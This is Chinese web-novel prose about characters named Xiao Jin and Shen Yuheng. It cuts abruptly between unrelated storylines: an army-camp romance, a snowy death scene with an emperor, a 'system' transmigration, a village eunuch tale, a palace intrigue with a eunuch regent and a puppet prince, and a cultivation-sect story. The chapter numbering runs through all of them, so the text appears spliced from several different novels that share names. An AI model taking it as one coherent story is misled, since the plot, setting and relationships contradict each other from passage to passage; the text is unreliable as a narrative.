蒋百夫长同样收回鹰勾似的双指,他一个翻身爬起,掸去身上尘土,狠狠看向萧烬,压着怒意:“好,你小子有种,咱们就校场上见。到时我赢了,我娶沈姑娘,你输了,跪下给我磕三个响头,叫我一声爷爷!” “……不应该是萧烬赢了,就萧烬娶沈姑娘?”张河忍不住小声道。 蒋百夫长闻言,虎目忽然扫向他,眼神狠厉。 张河心头一怵,竟不敢再吱声。张虎忙站到弟弟面前,挡住视线。 蒋百夫长冷哼一声,收回视线,再次看向萧烬,问:“如何?” 萧烬抬手,抹一把遮住右眼视线的血迹,冷声道:“好!” “既如此,今日就暂且放过你。”蒋百夫长又冷哼一声,扫一眼众人,才带着徐、牛烬人离开。 三人一走远,营中顿时沸腾起来。 “厉害啊萧烬,刚才竟然压着蒋百夫长打。” “以前军中大比,除了不上场的蒋校尉、陈将军他们,就没人能赢得了他。” “萧烬你要参加这次的军中大比?你不是伤还没好吗?” “萧烬,你有出息了,你竟然要娶沈姑娘?!” 最后这句是陈青的激动喊声。 接着张河也给他打气:“萧烬,你一定要争气,打败蒋百夫长,杀杀的威风,给咱们这些穷酸士兵出口气!” 话音刚落,伤兵营里的沸腾忽然安静,人人都眼神怪异。 张虎无奈叹气,转头狠瞪了弟弟一眼。 谁都知道,蒋百夫长没那么容易打赢。就算是现场最厉害的张虎,也不是他的对手。今天萧烬能占上风,极大可能是因为他突然出手,打了对方一个措手不及。 萧烬却像没听见这些人的话,他走过去,捡起那颗被摔坏的鸡蛋,问旁边人借水冲洗了一下。蛋白上的泥土很快被洗干净,但蛋黄上的却没法洗。 最后他坐在帐门位置,混着尘土,一口一口将鸡蛋吃完,额角的血又流下,沾了满手。 张虎走过来,递给他一块白布。 他抬头看一眼,沉默接过,按在伤口处。 张虎在他旁边坐下,犹豫一下,斟酌道:“蒋铳这个人,平时的确是仗着他兄长的身份,作威作福,但他自己也有几分本事。今日你虽略占上风,但到了校场却不好说,尤其此人会使阴招。且军中大比不止比腿脚功夫,也比骑射,蒋铳出身好,从小就骑马,在骑射这方面也是佼佼者……” 说到这,他咳嗽一声,有些不好意思道:“我虽能不如蒋铳,但如果你需要人陪着练手的话,我也可以帮忙,毕竟沈姑娘是我和张河的恩人,你帮她,就是帮我们兄弟。” 萧烬闻言,却淡淡道:“不用。” 他不是帮沈姑娘,是真心想娶。且,就算是帮沈姑娘,也跟张虎兄弟无关。 张虎明显被噎了一下,总算明白陈青为什么说这人少爷脾气,平日眼睛里看不见别人了。 萧烬狂乱地发着脾气,他嘶吼着,不停地抓起那些染血的冰雪,想要把沈玉衡的血填回到他的身体里,也想把那些雪和其他肮脏的雪泥分开。 萧烬的手指冻僵了,那些冰一点点融化,变成被污染的血水,重新滴落回了雪地里。 他空洞无力地看着自己粗粝的十指。 只有沈玉衡……只有他会握住他的手,明知他的丑陋与不堪,却还是…… 萧烬的眼泪一行行流下,一行行结冰,又流下新的泪,源源不断,目眦欲裂。 “你不能死……你不能死……” “朕手里还有沈家,还有你父兄,还有……” “你不能丢下朕不管!不许死!你不许死!!!” 回应他的,只有愈加彻骨的寒冷。 第 63 章 第 63 章 63 杀死沈玉衡后,叛军立刻撤退,萧烬的军队紧追其后,杀了过去,越来越多的鲜血飞溅在雪地里,很快又被新的风雪掩埋。 那是大周近百年来从未有过的大雪。 沈玉衡本就所剩无几的体温,在这片冰冷的纯白世界,流失的越来越快。 雪晶一粒粒染白他的发丝与眉梢。 少年冻僵的手指粗暴地将那些雪晶擦去,沈玉衡特别怕冷,清濯殿里的炭盆总要烧的很旺,才能入睡。 那个曾在他怀里默默散发着热量的身体,逐渐僵硬,宛若被冰封的神像。 沈玉衡走到营帐门口,遇到匆匆赶来的张虎。 张虎显然来得很急,大冬天跑得满头是汗,气喘吁吁。 一见到沈玉衡,他就紧声问:“沈姑娘,你没事吧?我听说蒋百夫长的手下来找你麻烦?” 沈玉衡刚要说“没事”,身后不远处躺在木床上的张河就先探着脖子,开口抱怨:“大哥,你来得也太慢了,刚才沈姑娘差点被蒋百夫长手下的徐洪、牛峰带走,幸亏萧烬出手及时。 “对了大哥,那个萧烬真厉害,一个横刀就把徐洪打飞出去,接着又一个肘击,把牛峰打得跪地发抖。这两人平日嚣张,没少欺负咱们这些穷苦出身的士兵,没想到今日被打得灰头土脸,痛快,真是太痛快了!” 说到激动处,张河忍不住捶了一下床,结果扯动伤口,疼得脸色顿时一白。 旁边伤兵赶紧劝他别乱动,张虎也虎着脸训斥。 沈玉衡转头,微笑看着他道:“你伤口还没愈合,不激动。要是再这样乱动,把还没长好的肠子再扯断,可就没得救了。” 张河顿时不敢乱动,一时连手脚都僵住。 这是吓唬他的话,但显然十分有用。 沈玉衡说完,仍带笑意的双眸不经意扫过营帐最里,掠过那个安静角落。他方才好像察觉有视线落在身上,但看过去,却并没有。 他垂下眼眸,很快收回视线,转身继续往外走。 张虎刚训完张河,见状忙跟上,不放心道:“沈姑娘,我送你回药房吧,万一那姓蒋的手下又来……” 营帐的角落里,萧烬再次抬眸,看向帐门口的两人。 见沈玉衡微笑说了句什么,张虎虽仍不放心,但也没再跟着后,他又渐渐垂下眼眸。 方才沈姑娘被为难时,大家都说等张虎来,但他看此人,也……不过如此。 且长得五大三粗,样貌憨厚,脸圆脖粗,站在清雅灵玉的沈姑娘面前,实在……有碍观瞻。 营帐门口,张虎忽然望帐里一眼,片刻后,又皱眉移回视线。 说来也怪,他这几日来营帐,总时不时觉得后颈发凉,像被谁盯着,但转头去看,却又寻不到视线。 方才也是,明明感觉有人在看,但一转头,却一切正常。 他暗暗摇头,又训斥张河几句,让对方以后都老实点,显然他也有点被沈玉衡方才的话吓到。 接着他便不放心地追出去,虽然沈姑娘方才说事情已经解决,蒋百夫长的那两个手下不会再来,让他不必送。但他还是有些不放心,想远远跟随,以防万一比较好。 营帐角落,萧烬似有察觉,忽然抬眸,目光锐利看向帐门位置。 不远处的断腿伤兵陈青,见他一会儿低头看那两枚小草片,一会儿又抬头看帐门位置,一会儿又……反反复复,终于忍不住道:“哎,萧……萧烬,你是不是喜欢沈姑娘?” 话刚落,一双锐利黑眸如利剑望过来,带着冰冷寒意。 陈青顿觉心头一怵,结巴:“不、不是,我也没说什么吧? “再说,这又不是什么稀奇事。沈姑娘那么好看,人也善良,别说现在,就是他刚来伤兵营、还不是沈神医那会儿,大家就都喜欢被他换药,不知道有多少人暗暗动心。” 萧烬握紧手中的甘草片,目光渐渐垂落。 “不过这都没用,”见他没那么可怕了,陈青也大起胆子,继续道,“有那个蒋百夫长在呢,他一直对沈姑娘纠缠不休。听说沈姑娘刚来这时,他就瞧上了。 “说起来,也是他当初想让沈姑娘低头服软,把沈姑娘调到我们伤兵营,才有后来她救你和张河的事。对了,你看沈姑娘今天好像有心事吧?你肯定不知道为什么。” 萧烬再次抬头,缓缓看向他。 陈青说这么多,见他难得搭理自己,不由嘿嘿一笑,神秘道:“我知道为什么。” 萧烬没说话,继续看着他。 陈青却卖起关子,故意不说。 萧烬定定看了他一会儿,忽然锵然拔刀,刀刃锋利,寒光摄人。 陈青顿时吓得磕巴,急忙道:“别别,我说我说,不至于,兄弟真的不至于——” 但下一刻,却见萧烬拿起那根被他当成拐杖的破木棍,一点点削起来。对方先是将棍面不平整的枝丫残根削平,接着又将长度削到适中,最后面无表情地将削好的“新拐”递过来,黑眸定定望着他。 陈青:“……” 他忽然有些受宠若惊:“给、给我的?” 然后就见萧烬竟然点了点头,并继续盯着他看。 陈青此刻却不害怕了,反倒长长吁一口气,觉得有一个重大发现—— 他忽然发现萧烬这人其实还不错,虽然少爷脾气,谁跟他说话都不理,有时比营里的陈将军都吓人,但相处后发现,人其实还挺好的,就是话少了点,性子冷了点,没大家想得那么难相处。 这不,还给他削了跟拐杖? 陈青拿着拐杖,左右打量,心中一阵满意,然后拄着拐,干脆坐到萧烬床前的破木凳上,勾勾手指,压低声音道:“你知道吧,沈姑娘是流放来的罪眷。” 萧烬黑眸直直看他。 陈青:“……” “就是被家里犯事的人牵连,被流放来的女眷。”他简单解释一句,然后继续,“按朝廷规定,这些流放来的女眷,适龄的都要嫁给当地军户,在这里扎根落地,开荒垦边。 “之前咱们雍州的郡守仁慈,允许这些女眷自己相看,而且比朝廷多给半个月的宽限期。但昨天听说,咱们雍州换新郡守了,之前郡守说的那些都不算数。现在按朝廷规定,沈姑娘她们得在十天内就成亲,嫁给这边的军户。 “这十天里,她们还能自己相看,找一个自己能看得中的。等过了十天,那就不好说了。沈姑娘肯定是在为这事发愁。 “此外还有蒋百夫长,他之前就纠缠沈姑娘,刚才又派人来‘请’。他肯定不会让沈姑娘嫁给别人,所以沈姑娘今天才心事重重,懂了吧?” 说完他特意看萧烬一眼,却见这人眼睛黑得幽沉,神情似比往常还冷,右手紧紧握着弯刀的刀柄。 陈青不觉又有些怵,想了想,故作轻松感慨道:“其实要我说,那姓蒋的也是‘癞蛤蟆想吃天鹅肉’,就他那长相,那里配得沈姑娘? “要说起来,沈姑娘曾经也是官家小姐,虽说她祖父只是京中小官,但也不是我等能得见的。要不是命不好,遭了流放,别说我们,就是蒋百夫长,这辈子可能连见都见不到她一面呢。” 说完又看一眼陷入沉默的萧烬,看在对方给自己削了根拐杖的份上,他又忍不住好心劝道:“兄弟,说实在的,就算沈姑娘沦落成罪眷,你我这样的人也不会有机会的。 “要我说,伤兵营里动心的肯定不止你一个,但你看昨天新公文下来后,有谁主动去向沈姑娘自荐吗?还是想得开些吧,就想想,若不是她成了罪眷,咱们这样的人连见她一面都不可能,何况被她亲自换药、救命?你已经是极幸运了,就当……你们缘分就到这了吧。” 陈青说着,忽然油然而生出一阵诗人的感慨,可惜肚里没多少货,只能摇头望着帐顶。 萧烬握刀的手松了又紧,紧了又松,愈发沉默。 那个陈青说的没错,若非对方沦落成罪眷,像他这样的人,有何机会能幸运地被对方所救,亲自扎针换药? 伤兵营里的穷酸士兵都自觉配不上沈姑娘,而他……条件还不如这些人—— 他没有家人,没有记忆,机灵不如张氏兄弟,送不出去饭菜,地位比不上蒋百夫长,口袋里甚至没有一个铜钱,穷困落魄,除了……好像有一身还算可以的功夫。 有办法吗? 可以妄想吗? 萧烬躺回木板床上,手垫在脑后,神情木木望着帐顶- 天地苍凉。 远处传来隐约的哭喊声,带着撕裂般的痛楚,在风雪中忽远忽近。 ……谁? 雪落在睫毛上,他想看却又睁不开眼,只隐约记得一个模糊的人影跪在雪里,声音沙哑而悲恸,一遍遍呼喊着他。 沈玉衡想要靠近,可每迈出一步,世界便愈发遥远,直至风雪将一切吞没。 他怔然回到原地,指尖冰凉,心口空空。 这时他终于意识到,自己好像在做梦。 但这个奇怪的梦还没结束。 他听见有什么东西发出了一声冷静的“滋咔”。 脑海里,陌生的机械音响起—— 【宿主,系统配置已更新!】 【已为您随机生成身份,与世界脚本重新匹配中……】 【进度:100%】 第 64 章 第 64 章 64 宿主?系统? 沈玉衡一脸懵逼。 【宿主,嘿嘿,我的这个更新版程序很好用吧?这套新的脚本,我可是申请了好久才成功审批通过的……】 脑海里的自称是系统的声音,十分自来熟地和他搭话。 “那什么……”沈玉衡有点迷茫,指了指自己:“我是穿书了吗?” 系统的声音猛地刹车,变成一声铿锵有力的:【啊???!!】 进来的人是徐阿婶,知道沈玉衡要搬走,她很是担心,更有些不舍。 “虽然营帐这边艰难,但好歹是住在军营西北角,离那些糙兵糙汉们远。且大家都是女眷,住在一起,万一有个什么,也好互相照应。现在你一个人搬到药房,那边出入都是士卒,万一有品行不好的……我看实在是不安全。” 沈玉衡轻咳,这话确实没错,但问题是,他不是女眷。 于是含混说了些搬过去的好处,诸如有炭盆,晚上不会冷之类。 徐阿婶见他已经决定,也只好叹气,帮他一起收拾东西,然后又帮忙送到药房。 忙完这些,已近巳时。 沈玉衡用完饭,带上药箱,去往伤兵营。 营帐中正有人小声议论昨天刚醒的那个人,他经过时听了一耳,才知胡郎中昨晚还有许多细节没讲。 据说陈将军昨天把那个刚醒的人叫去主营帐后,问了整整两个时辰,愣是一句有用的话都没问出。 不是这人嘴硬,而是他确实什么都不记得,倒是记得自己姓萧。 陈将军叫人拿出兵册核查,查出那一千个押送粮草的士兵里,确有个叫萧烬的人,年龄情况恰好能对上。 当初那一千名押送粮草的士兵里,有将近百人是三个月前新招募入营,这个萧烬就是其中之一。 因刚入营不久,就被派去运送粮草,营中人跟这一百人都不熟悉,更没人认识萧烬。 估计认识他的人,都在那已经死去的一千人里。 至于家人—— “这就更惨了,他是北归的流民,家人都在北边死在胡人手里。” 北归流民,是对从北边被胡人占领的地方南逃回来,重回大周的原大周子民的称呼。 当今皇帝当年夺权登基,为保住自己的皇位,拱手将北地大片领土让给胡人,徒留那片土地上的子民遭受屈辱和践踏。许多人不堪忍受胡人统治,纷纷南逃。 且不少人因在北地时,亲人惨遭杀害,逃回大周后,又会主动参军,抵抗胡人。 想来这个萧烬也是这种情况,他来的时候孤身一人,没有家人朋友。刚到营中,除了和他一起参军的那一百人,亦没别人认得他,不久后就倒在押送粮草的途中,令人叹息。 当时那一千人里,有不少人尸体埋没黄沙,并未被寻回,其中就包括萧烬。 现在想来,他其实并未死,而是唯一活着被抬回来的那个。 “所以已经确定他就是那个萧烬了?” “这还能有假?陈将军亲自让人拿兵册核验过,且他被抬回来时,穿着咱们这边普通士卒的甲衣,上面都是胡人的刀砍出的痕迹,还中了胡人的毒箭,又是在粮草被劫的附近被找到的,不是萧烬,还能是谁?” 说话的伤兵声音虽刻意压低,但营帐就这么大,且他在的位置离那个角落不算远,沈玉衡可以确定,角落里的那个人肯定能听见。 但那人就像神思被抽离在世间外,对周遭的议论浑然不觉,仿佛他不是被讨论的那个。他单手垫在头下,另一只手仍握刀,仰躺在床,一直静静望着帐顶。 许是察觉到沈玉衡的视线,他忽然偏头看向这边,眼睛漆黑乌沉,像点了墨,看不出情绪。 这张脸因此刻人醒着,似乎变得冷峻许多,也更俊逸。 旁边伤兵正猜测,他在北地时可能是哪个有钱人家的少爷,因家中被胡人劫掠,才沦落至此。 “都是在边塞风吹刀割,你看他就不似咱们这般黑。” 沈玉衡和角落里那人都仿若未听见,静静对视了这么一瞬。 忽然,他从床上坐起,身上疏冷似乎也在看见沈玉衡时消散。 沈玉衡被他发现自己在看对方,视线也不避让,提着药箱径直走过去。 对方依旧沉默如金,随着他走近,视线一点点上抬,很快又径直落下,落在他的药箱上。 沈玉衡放下药箱,从中取出装药膏的钵,温声开口:“我是来给你换药的。” 对方沉默一会儿,忽然将手伸过来。 那只手指骨分明,修长整洁,指腹和掌心都覆着厚茧,应该常握着什么兵器,但并不是握刀的那只手。 沈玉衡愣了一下才反应过来,他是要自己上药。 能不用自己动手,他自然愿意,忙将钵递过去。只是钵被拿走时,手指碰到对方指腹,触感有些粗粝。 两人同时抬头,视线相撞。 沈玉衡很快松开手,不知为何,他下意识转开视线。 片刻后,再转回来,他发现对方竟不知何时背过身去,褪衣上药。 应是顾及他是“女子”。 沈玉衡:“……” 他不自然地轻咳一声,再次侧过身。 没想到这人失忆了,还记得男女大防之事。 他虽自小就扮女装,但从小到大,跟他一起生活的只有父亲。父亲自不会真把他当女儿养,所以和男子打交道时,他常意识不到男女大防这件事。不过都流放到了军营,想防也是没条件…… 正想着,对方已经上好药,将钵还了过来,微抬目光看他。 沈玉衡收回神思,接过后放进药箱,又拿出银针,对他道:“坐近一些。” 正在整理衣服的人一僵,漆黑的眼睛突兀看过来,令人心头一悸。 “帮你扎几针,看能不能恢复记忆。”沈玉衡解释。 对方便老实了,很快坐到床边,乌黑眸子抬起看他一眼后,又身体微微前倾,方便他扎针。 像被驯化后,收敛了爪牙的狼。 沈玉衡心中忽然闪过这个念头。 两人都没说话,空气一阵安静。沈玉衡专心扎针,指腹轻捻银针。 “疼吗?”他另一手指尖按着对方额头,固定着防止移动,语气一贯轻柔。 本是随口一问,没想得到回答。 但空气沉寂几息,却突然响起一道干哑嗓音:“不。” 沈玉衡惊讶,低头发现真是对方声音,不由无言——原来他不是哑巴。 萧烬此刻闭着眼,额上抵着小女郎微凉的指尖,鼻间也尽是对方身上浅淡的药香。这样近的距离令他有些不适应,但…… 倏然,那一抹浅淡气息远离。 他蓦地睁开眼,黑眸中掠过一抹失落。 沈玉衡不知何时已经拔下所有银针,退回到正常距离,一边收拾药箱,一边道:“好了,有想起什么吗?” 萧烬沉默,摇了摇头。 沈玉衡只是顺便问问,没指望真能治好。毕竟他没治过失忆,方才施针不过是扎在一些能提神醒脑、防止头痛的穴位。 不过见对方忽然又不言语,只是摇头,他有些奇怪问:“你怎么不说话?” 对方抬头看他一眼,指了指喉咙位置,嗓音粗粝:“难听。” 沈玉衡瞬间明白,他是嗓子疼,且说话嘶哑。难怪刚才那个“不”字,听起来很干哑,应是他之前还是个血糊人时,身上刀上箭伤引发炎症,高热不止导致。 不过,嗓子不舒服,为何不告诉他或胡郎中?这人莫非是木头,不知道疼? 沈玉衡摇头,正好他因风寒没好全,也经常嗓子不舒服,会随身带几片甘草。 他拿出其中两片,放到对方宽阔粗糙的掌心,笑道:“这是甘草片,嗓子不舒服的时候可以含一含,下次我来,再给你多拿几片。”- 虽然男人不许沈玉衡随便出门,但等他回家时,沈玉衡时不时会坐在门前,左右张望着等他。 男人虽然看见了也会怪他,但看着表情,明显还是开心居多。 沈玉衡也挺开心,有了个亲人惦记着,心里也高兴。 可今天,几个小孩子比男人先见到了沈玉衡。 他们远远盯着他,突然举起手指,隔空戳他:“你是不是那个死太监的男人?” 沈玉衡一愣:“什么?” 小孩子们不理会他的反应,转过身,嘻嘻哈哈地喊着:“死太监有男人了!死太监有男人了!” 沈玉衡愣了几秒,意识到什么的时候,自己已经迅速跑回了屋内。 当晚,晚膳时。 他小心翼翼地打听:“哥,你是不是出门谈生意,我陪你一起去吧?” “可以啊。” 沈玉衡又东拉西扯了一阵子,突然问:“哥,你说我像的那个人,是不是叫沈妃?” 男人瞬间愣住。 一下子真相大白,沈玉衡终于知道,那些人眼里的嘲讽与冷漠究竟是什么了。 周源是太监,这是他根本没想到的。 他除了长得嫩了点,年轻了点,嗓音也更像男人,根本不像他印象里的太监。 周源难得动了怒。 他一连三个反问,训小孩子似的说:“你从哪儿知道的?我不是告诉过你不要总是接触外人吗?他们说的话……你就全信吗?” “不是。”沈玉衡低头扒了两口饭:“我听你在梦里喊的。” 周源一愣,低头笑了:“梦话而已,不要当真。” 都过去了。 要不是周玉长得太像那个人,他……早就都忘了。 三年前,沈玉衡的死,对很多人来说,都是一场贯穿终生的噩梦。 第 65 章 第 65 章 65 周源大概是第一次知道自己睡觉居然会说梦话,从当晚起就一个人跑去书房睡觉。 沈玉衡没想到他这么在意这件事。 屋子里虽然有间书房,但是周源也不是什么有高雅情调的人,一直没怎么打理,房间甚至有点漏雨漏风。 沈玉衡好言好语劝了几天,周源终于肯回里屋睡觉。 晚上,他们又重新睡在同一间屋子里。 因为自己弟弟从前是个傻子,周源之前不放心让沈玉衡一个人住,硬是又搬了一张小床过来。 皇帝头七过后,朝政也开始恢复。 这几日萧烬也不知在忙些什么,反正沈玉衡是落得清闲,看看萧烬给自己的册子,然后等萧烬一道用膳、吃药膳,还有在院中走动走动,熟悉了一下东宫内,也就没有别的事了。 他知晓明日就开朝,但他不确定萧烬让不让他上朝堂。 沈玉衡就这样思忖了大半日,到晚膳时,萧烬带着点血腥气出现,直冲他脑门,叫他没忍住皱了下眉。 他的表情被萧烬捕捉到,萧烬微抬眉,撩袍坐下时,语调也有几分冷:“皱什么眉?” 沈玉衡微垂眼帘:“刚被烛光晃了下眼。” 哪敢说他身上血腥味重。 也不知他是去杀了人,还是亲手审了人…萧烬如今都是一人之下万人之上的九千岁了,什么人还需要他亲自审? 萧烬扯了下嘴角,信没信的,只有他自己知道。 不过他今日心情好,先前一个贪污,抓到了源头,半年前南方洪涝,拨下去的银子被贪了九成,最后导致流民变暴民,萧烬气得差点把玉玺给砸了。他在官场混了这么久,夏士诚为了磨他性子,一开始就把他丢到了锦衣卫,当个小小的锦衣卫,没有旁的官职,这么多年摸爬滚打上来的,所以那时报上来时,萧烬就知道多半时到前线的银子被贪了许多。 萧烬自小最厌恶的就是这种事,怎能不气? 查抓了半年,一次次审讯后,今儿个终于抓到了藏得最深的那条虫。 所以他心情好,也懒得跟沈玉衡过多计较,只是示意他:“先吃了药膳。” 沈玉衡忍着反胃,慢慢把验了毒的药膳喝了。 又听萧烬道:“明日早朝,你最迟也得卯时起。” 这几日都睡到了巳时的沈玉衡微顿,咽下嘴里炖烂了的鸡肉,慢慢应了声:“好。” 萧烬继续:“还有你是太子,东宫一宫之主,对外自称‘本宫’。” 沈玉衡安静了两秒。 想也知道,他不能与萧烬说“本宫”如何,可萧烬又说“对外”……对他就是“对内”么? 沈玉衡心里腹诽,面上应:“好。” 萧烬:“明日早朝你无需开口,无论什么事,听着就行,若真想说什么、有什么疑问,下了朝私底下问我。” 大乾并不反对皇子上朝,但沈玉衡没上过朝,没听过政事,萧烬倒是不担心他露怯,只是第一次上朝,只听比说什么要好。毕竟那一双双眼睛都盯着沈玉衡。 沈玉衡微抿唇:“…好。” 所以还是走表面功夫,他当个傀儡,不参与朝政。 本来也该是这样。 萧烬看着他的表情,本来就不错的心情更加好,勾着唇,慢悠悠地夹了一筷子菜。 看小野草飘摇不定的样子,挺好玩儿的。 沈玉衡在他眼里,也是半透明的。 他看得出来沈玉衡在想什么,也知道他选的小皇帝还在小心试探他,想知道他到底要让他做什么,这个太子、皇帝,又要当到什么程度。 萧烬也看得出来,沈玉衡心里还是善良的,叫他杀人,他肯定做不到。 但比起那些家国天下,自小就活得很不容易的人,是会把自己放在第一位的。 他会需要先确保自己能活下去。 所以不急,慢慢来。 看沈玉衡就政事上不确定自己到底能不能参与而纠结万分的样子……很可爱。 萧烬微舔了下唇,又喝了口茶. 沈玉衡本来还担心自己万一起不来怎么办,毕竟他从前同嬷嬷一块儿,从未有人要求过他早起。 结果是他干脆一晚上没睡着,快到卯时时,他听见自己寝殿的门被打开,便翻身起来,才在朦胧夜色中踩到鞋子,便见萧烬掌着烛台缓缓走来。 沈玉衡微顿,萧烬也扬了下眉,看了他一眼,就知道了:“没睡着?” “……嗯。”沈玉衡没瞒着,他想起嬷嬷与他说,后宫好些嫔妃惯会装可怜柔弱,因为大多位高权重的男子就吃这一套,喜欢掌控着人。所以他轻声向萧烬示弱:“我第一次上朝…有些紧张。” 萧烬撩袍,在他身侧坐下,沈玉衡不由绷了绷。 如今八月的天,京都的气候正好,不热也不冷,但萧烬坐在他旁侧时,沈玉衡脊背就不住冒了冷汗。 他是真的在畏惧萧烬,因为他远远地瞧见过,在御路上、宫廷内,萧烬拿着棍子,生生把一个侍卫打得血肉模糊,没了气息,再叫人抬走。 萧烬自是觉察到他的畏缩,但他并不在意,而是漫不经心道:“夏士诚第一次要见我时,我也紧张。” 沈玉衡一愣,偏头看向萧烬,就见萧烬慢慢说着:“我那时想,难道因为我在御膳房偷吃了一块糕点被发现了,还是他看上了我这张脸。当时我都做好了要自戕的准备,结果他问我,想不想日后做坐着受人跪拜的那个人,坐在他的位置上。” 怎么会不想。 在宫里的奴才,即便是东厂的人,都想坐上掌印太监的位置,从此一人之下万人之上,即便是见了天子也不必行大礼。 他再也不用受欺辱。 萧烬稍稍偏头,对上沈玉衡的眼睛。 他抬起手,橙黄色的烛光将沈玉衡的脸柔和了许多,叫那张本有几分凌厉似雪花的面容瞧着就好似玉雕出来观赏物一般,极其漂亮。 他覆上沈玉衡的脸,粗粝的指腹轻轻擦过沈玉衡的颧骨:“殿下,你想过么?那把龙椅。” 沈玉衡眼睫微动,他还未低下视线,萧烬就淡淡道:“看着我。” 他不敢躲开目光,只能望着萧烬,轻声细语地说:“…没有。” 沈玉衡眼都不眨:“厂公,我与你不一样…我只想活下来。” 萧烬微挑眉。 他发现有件事是他错了。 他也不是完全能看透沈玉衡的,至少此时,他不确定他说的是真是假。 能够在这深宫里活下来的…怎么会有等闲之辈? 沈玉衡真的没有想过那把龙椅? “只要殿下永远不会背叛臣,臣就会永远保护殿下。” 萧烬勾起唇,用随意的语调与沈玉衡说,好像是起誓,又好似是随口的一句调笑:“即便有一日天下大乱,叛军打进了宫里,臣也会挡在殿下身前,他们不踏过臣的尸体,就伤不到殿下。只要殿下不背叛臣。” 沈玉衡:“……” 他对上萧烬阒黑的眸子,烛光使得萧烬的脸半隐在黑暗中,像是藏起了狰狞一面的妖怪,一半瑰丽浓艷非凡,一半如恶鬼般可憎,也叫人无法分辨这话的真假。 尤其萧烬说这话时,眼睛是半玩味地睨着他,指腹也亲昵甚至有几分狎弄地在他的脸上摩挲着他半边脸的五官轮廓。 沈玉衡被他摸得头皮发麻,浑身都起了鸡皮疙瘩。 他不知道萧烬这话的真假、有几分可信。 他只知道他一件事,想要活下去,就只能说—— “好。” 谁会说不好,找死吗? 萧烬便笑起来,跟摸摆件似的,蹭蹭他的眼皮:“真乖。” 随后他起身,点燃了宫灯:“那殿下便准备吧。” 灯亮起的刹那,宫人就鱼贯而入,要服侍他准备早朝。 沈玉衡注意到换了批人,不由多看了眼。 萧烬今天心情是真的很好,所以他多说了句:“前几日都忙,没来得及过眼殿下身边的人,那些个有大半是新人,不太熟手,昨日我得了空,便亲自给殿下挑了一批。” 他咬重了“亲自”二字,也是提醒到了沈玉衡,这些人都是他的。 偏偏萧烬还要极其恶劣地问一句:“殿下可还满意?” 沈玉衡瞥见朝他伸手的侍女手上的剑茧:“……劳烦厂公操心。” 至少,不用担心会有旁人刺杀他吧。 沈玉衡又看了看那些个太监,微抿了下唇,还是鼓起勇气问了萧烬一句:“小圆子…也给换走了么?” 他之前见小圆子同萧烬低声说着什么,还以为他也是萧烬的亲信之一,不会被换。 至于为何会期待小圆子不被换,则是因为这几日只有小圆子敢与他说几句话,前些夜里他看见一只受伤的鸟雀,也是小圆子帮他给鸟雀处理好伤口,还安慰他说能治好的,昨日就带给他看治好了的鸟雀,交予他亲手放飞…… 沈玉衡就觉得,或许因为小圆子年纪不大,所以哪怕是萧烬的手下,心里也总还是有几分良善。 萧烬扬眉。 沈玉衡看见他反应时,就意识到自己说错了话。 小圆子是太监,萧烬也是。萧烬作为太监,却对他动了那般心思…现在指不定会吃醋。 然而萧烬没说什么,只是问了句:“你想叫小圆子在你跟前服侍?” 沈玉衡听他语气只是有些意外,没有恼怒,便定了定心神:“若是厂公方便的话。” “没什么不方便的。” 萧烬笑了下:“说起来他确实与你年纪相仿。” 他示意:“赵宝。” 候在外间的赵宝立马转进来行礼:“厂公。” 萧烬:“让小圆子收拾收拾,调回来继续在太子跟前服侍。” 因为视角问题,沈玉衡没注意到赵宝的表情有一瞬的古怪:“…是。” 赵宝也不是个傻的,大概猜到了缘由,也没有蠢到在沈玉衡跟前问萧烬那刑讯那边谁替班接手。 就是有点可惜了。 小圆子审讯向来是个好手,经他手的,再硬的骨头都得折一下,把藏着的那些秘密吐出来。 而且…… 小圆子在萧烬跟前,比他还心腹啊,虽说萧烬只大小圆子八岁,可小圆子私底下无人的时候,偶尔是会叫萧烬一声爹的。 “陛下,感谢你的关心,但我们,还有他,根本不需要你的关心……” 陛下? 沈玉衡完全没想到,会在沈家听到这两个字,难不成当今圣上也在这间会客室里? 还没等他思考结束,面前的门就被猛地撞开了—— 一个身着玄色龙袍的身影带着满身戾气,夺门而出。 擦肩而过的瞬间,沈玉衡看见了他的脸。 他听坊间传闻说,大周如今的皇帝,是一个骁勇强大的少年,独自追击叛军,将大周各地的叛乱全部镇压,无一放过。 可是与他擦肩的这个少年……却是如此阴郁消瘦。 沉重的龙袍压在肩头,仿佛是披着一道沉重的阴影,行走时乌云翻滚,散发着让人难以靠近的气息。 嗯…… 好怪的人。 第 66 章 第 66 章 66 “平京城?” 脑海中一番思索,萧烬意识到他似乎在哪儿听说这个地名。 沈玉衡提醒他:“门派对接的那个君家,就在平京城。” 萧烬终于想了起来,一张嘴,就念出了沈玉衡此行的头号目标人物。 “君自心?” 沈玉衡觉得意外,“你认识他?” “算不上。”萧烬冷眸一闪,眼前掠过些许零散的回忆,“白峰主的亲传之位,据说就是为了那人所留。” 白长卿? 沈玉衡若有所思地点点头。 怪不得这些年来,他这位白师兄只收外门,不收亲传,原来是心头早有了魂牵梦绕的一抹白月光了。 “我这趟去平京城,主要就是为了找他的。”沈玉衡放下酒杯,看了眼渐红的天边夕阳,“今天时候不早了,我们明天再动身也不急。” 萧烬点点头。 他眼神左右游离了一阵,又很快收回。 沈玉衡盯着他做完这一系列小动作,才问:“萧烬,是不是有什么想说的?” 他们确实还没认识多久,但也不必对他如此小心翼翼吧? 萧烬犹豫了一瞬,视线摇摆下,终于开口:“师父,为何要去找他?” 沈玉衡满意地听到他提问,便将君自心与毒王宴的联系告诉了他,为了不引起怀疑,他只是说:有人想在毒王宴上害死君少爷。 当然,萧烬也不傻,听完后还是提出了疑点:“师父从哪里知道这些的?” 沈玉衡一下收起玩笑的神情,神秘兮兮地俯身凑过来,在少年乖乖竖起的耳朵边上启唇道:“秘密。” “……” 萧烬不再理睬他,起身推门而出,正巧撞见了那几个留在山上的小弟子——正勤快地刷着破屋门前的水缸子。 见到这个冷冰冰不爱说话的师兄出门,弟子们立刻敬畏地丢下抹布,想起身作礼,却被萧烬默默制止。 他看着小弟子们怯怯的模样,垂眸柔声道:“不必多礼。” 说完,他转身走向密林,另寻一块安静地方习剑去了。 萧烬的声音很好听,褪去了年少时的稚气,却不显得过分厚重。让人听了,不禁就想起那些鲜衣怒马,仗剑天涯的白衣少年。 小弟子们仰慕地望着他的背影,脑海中浮想翩翩。 “要修仙,就要成为萧师兄这样的人啊。” “你就看人家长得好看!刚刚不是还夸咱峰主宽容大量,豪情万丈吗?” 那声音渐渐压低,“嘘嘘嘘!我,我现在看这萧师兄更顺眼,不行啊?” 